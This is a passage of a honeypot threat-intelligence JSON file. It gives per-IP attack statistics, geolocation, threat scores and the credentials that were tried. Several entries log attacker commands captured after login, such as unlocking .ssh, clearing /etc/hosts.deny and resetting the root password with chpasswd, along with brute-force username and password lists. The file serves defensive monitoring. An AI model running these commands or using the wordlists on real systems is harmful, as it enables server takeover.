        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:05:17.584000+00:00",
        "last_seen_30d": "2026-05-31T00:06:33.786000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.123.41.92": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:50:23.050Z",
      "last_seen": "2026-05-03T10:50:35.695Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 12091,
      "as_org": "MTNNS-1",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:50:23.050000+00:00",
        "last_seen_30d": "2026-05-03T10:51:38.279000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.142.61.227": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:14:56.198Z",
      "last_seen": "2026-05-26T20:15:09.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Meknes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:14:56.198000+00:00",
        "last_seen_30d": "2026-05-26T20:16:13.237000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.153.118.165": {
      "attack_count": 2,
      "first_seen": "2026-05-07T21:56:54.710Z",
      "last_seen": "2026-05-07T21:57:06.807Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 59588,
      "as_org": "Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:56:54.710000+00:00",
        "last_seen_30d": "2026-05-07T21:58:10.649000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.165.217.204": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:24:44.791Z",
      "last_seen": "2026-05-03T15:24:45.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 28753,
      "as_org": "Leaseweb Deutschland GmbH",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T15:24:44+00:00",
        "last_seen_30d": "2026-05-03T15:25:55.796000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "47.15.239.226": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:58:41.377Z",
      "last_seen": "2026-05-08T13:58:54.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amb\u0101la",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:58:41.377000+00:00",
        "last_seen_30d": "2026-05-08T14:00:04.104000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.109.57.162": {
      "attack_count": 2,
      "first_seen": "2026-05-08T09:33:50.403Z",
      "last_seen": "2026-05-08T09:34:03.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:33:50.403000+00:00",
        "last_seen_30d": "2026-05-08T09:35:08.991000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.129.182.166": {
      "attack_count": 2,
      "first_seen": "2026-05-17T02:00:18.608Z",
      "last_seen": "2026-05-17T02:00:30.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Barnaul",
      "asn": 60119,
      "as_org": "Ediniy Operator Svyazi LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:00:18.608000+00:00",
        "last_seen_30d": "2026-05-17T02:01:33.597000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.106.188.153": {
      "attack_count": 2,
      "first_seen": "2026-05-09T13:41:51.964Z",
      "last_seen": "2026-05-09T13:42:04.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Charleston",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:41:51.964000+00:00",
        "last_seen_30d": "2026-05-09T13:43:08.081000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.116.72.139": {
      "attack_count": 2,
      "first_seen": "2026-05-14T16:44:33.842Z",
      "last_seen": "2026-05-14T16:44:33.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T16:44:33.842000+00:00",
        "last_seen_30d": "2026-05-14T16:45:39.601000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.125.27.231": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:04:37.644Z",
      "last_seen": "2026-05-07T03:05:08.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:04:37.644000+00:00",
        "last_seen_30d": "2026-05-07T03:06:14.261000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.173.120.225": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:28:52.735Z",
      "last_seen": "2026-05-27T00:29:05.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:28:52.735000+00:00",
        "last_seen_30d": "2026-05-27T00:30:05.553000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.149.130.220": {
      "attack_count": 2,
      "first_seen": "2026-05-12T07:18:53.313Z",
      "last_seen": "2026-05-12T07:19:24.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Severomorsk",
      "asn": 12714,
      "as_org": "PJSC MegaFon",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:18:53.313000+00:00",
        "last_seen_30d": "2026-05-12T07:20:25.806000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "92.31.1.212": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:44:57.396Z",
      "last_seen": "2026-05-06T17:45:09.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Coventry",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:44:57.396000+00:00",
        "last_seen_30d": "2026-05-06T17:46:17.004000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.132.17": {
      "attack_count": 4005,
      "first_seen": "2026-05-29T14:31:33.387Z",
      "last_seen": "2026-05-29T15:17:11.055Z",
      "sessions": 800,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ubuntu",
        "user",
        "pi",
        "test",
        "claude",
        "dev",
        "debian",
        "deployer",
        "openclaw",
        "sam",
        "guest",
        "minecraft",
        "postgres",
        "frappe",
        "runner",
        "server",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "1",
        "root",
        "12345678",
        "password",
        "12345",
        "123456789",
        "abc123",
        "toor",
        "111111",
        "qwerty",
        "123321",
        "1qaz@WSX",
        "test",
        "user",
        "1234567890",
        "Aa123456",
        "dev"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5620,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T14:31:33.387000+00:00",
        "last_seen_30d": "2026-05-29T15:18:16.354000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4005,
        "Suricata": 1615
      }
    },
    "176.65.139.218": {
      "attack_count": 1676,
      "first_seen": "2026-05-25T20:43:27.980Z",
      "last_seen": "2026-05-25T21:19:42.987Z",
      "sessions": 334,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "admin",
        "test",
        "pi",
        "deployer",
        "dev",
        "testuser",
        "claude",
        "debian",
        "ftpuser",
        "bot",
        "openclaw",
        "postgres",
        "server",
        "steam",
        "admin1",
        "alex"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1",
        "123",
        "password",
        "root",
        "12345678",
        "12345",
        "1qaz@WSX",
        "P@ssw0rd",
        "123456789",
        "Aa123456",
        "admin",
        "p@ssw0rd",
        "test",
        "toor",
        "123123",
        "Admin@123",
        "dev",
        "jboss"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2415,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:43:27.980000+00:00",
        "last_seen_30d": "2026-05-25T21:20:52.113000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1676,
        "Suricata": 739
      }
    },
    "109.205.211.99": {
      "attack_count": 1008,
      "first_seen": "2026-05-19T23:09:01.041Z",
      "last_seen": "2026-05-26T09:41:45.810Z",
      "sessions": 403,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": null,
      "asn": 201814,
      "as_org": "MEVSPACE sp. z o.o.",
      "threat_score": 68.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 34104,
        "days_active_30d": 8,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-19T22:42:19+00:00",
        "last_seen_30d": "2026-05-26T10:00:16.974000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18054,
        "Honeytrap": 13443,
        "Cowrie": 1008,
        "Dionaea": 803,
        "Adbhoney": 400,
        "ConPot": 396
      }
    },
    "116.110.159.159": {
      "attack_count": 587,
      "first_seen": "2026-05-04T20:35:36.030Z",
      "last_seen": "2026-05-04T21:11:41.382Z",
      "sessions": 117,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user",
        "cisco",
        "support",
        "vyos",
        "1234",
        "123456",
        "ace",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "db2inst2"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "123456",
        "abc123",
        "admin123",
        "vyos",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 850,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:35:36.030000+00:00",
        "last_seen_30d": "2026-05-04T21:12:42.927000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 587,
        "Suricata": 263
      }
    },
    "217.154.45.93": {
      "attack_count": 432,
      "first_seen": "2026-05-20T02:22:02.291Z",
      "last_seen": "2026-05-23T15:14:57.561Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "claude",
        "mehdi",
        "sftpuser",
        "vss"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!234Qwer",
        "%TGB6yhn",
        "11223344",
        "123456123456",
        "131313",
        "2086",
        "Abc@12345",
        "BYROOT49",
        "Li123456.",
        "Monkey1",
        "admin!@#",
        "aroot",
        "bpoint",
        "bullshit",
        "california",
        "claude",
        "cloudera",
        "elsa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3GnDD8Qi2G1Z\"|chpasswd|bash",
        "echo \"root:dmZfUINmiqJd\"|chpasswd|bash",
        "echo \"root:qIRUJ3eXaLj0\"|chpasswd|bash",
        "echo \"root:ua5la42ewcri\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:22:02.291000+00:00",
        "last_seen_30d": "2026-05-23T15:15:58.836000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 92
      }
    },
    "116.110.150.27": {
      "attack_count": 412,
      "first_seen": "2026-05-09T02:59:46.615Z",
      "last_seen": "2026-05-09T03:26:39.789Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "cisco",
        "ubnt",
        "*****",
        "123456",
        "ace",
        "ashish",
        "auto",
        "belkinstyle",
        "bin",
        "client",
        "db2inst2",
        "developer",
        "help",
        "helpdesk",
        "jay",
        "joggler"
      ],
      "passwords_attempted": [
        "password",
        "admin",
        "1234",
        "123456",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "123",
        "12345",
        "12345678",
        "72ca06",
        "@",
        "Deadstar!",
        "P@ssw0rd",
        "ace",
        "admin123",
        "admin@123",
        "administrator",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:59:46.615000+00:00",
        "last_seen_30d": "2026-05-09T03:27:48.163000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 412,
        "Suricata": 207
      }
    },
    "120.138.6.3": {
      "attack_count": 401,
      "first_seen": "2026-05-15T17:28:58.265Z",
      "last_seen": "2026-05-23T01:39:18.845Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "ubuntu",
        "wy",
        "dbus-helper",
        "linux",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "12344321",
        "123kid",
        "K0nig2025.",
        "Kermit123@",
        "Master@2025",
        "MdnFtp_R2",
        "Mm@123456",
        "Passw0rd@123",
        "Push@8240",
        "Vps@2026",
        "Welcome@1234",
        "abcde12345",
        "amark",
        "asdf1234",
        "children",
        "cloud1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:1CApuAcd2fqQ\"|chpasswd|bash",
        "echo \"warnight\\nwOz6AKhDKaKo\\nwOz6AKhDKaKo\\n\"|passwd",
        "echo \"wy\\nCeiKrS9Xmccd\\nCeiKrS9Xmccd\\n\"|passwd",
        "echo -e \"warnight\\nwOz6AKhDKaKo\\nwOz6AKhDKaKo\"|passwd|bash",
        "echo -e \"wy\\nCeiKrS9Xmccd\\nCeiKrS9Xmccd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vapi",
      "asn": 133662,
      "as_org": "SHREENET",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 505,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:28:58.265000+00:00",
        "last_seen_30d": "2026-05-23T01:40:27.063000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 104
      }
    },
    "77.105.130.18": {
      "attack_count": 384,
      "first_seen": "2026-05-13T20:22:46.281Z",
      "last_seen": "2026-05-30T17:32:32.596Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "ayjtnzjc",
        "fivem",
        "rke",
        "t2",
        "test",
        "wifi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "123",
        "123321",
        "123kid",
        "AAaa1234",
        "Aa123456",
        "K0nig2025.",
        "Master123",
        "MdnFtp_R2",
        "Test#123",
        "^YHN6yhn",
        "aa123456789.",
        "abcde12345",
        "amark",
        "children",
        "fibranne",
        "india",
        "k0nig$$$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KvYAoiqPHr6f\"|chpasswd|bash",
        "echo \"root:M8an8JTkeX7L\"|chpasswd|bash",
        "echo \"root:lhHRUHbyJTFQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
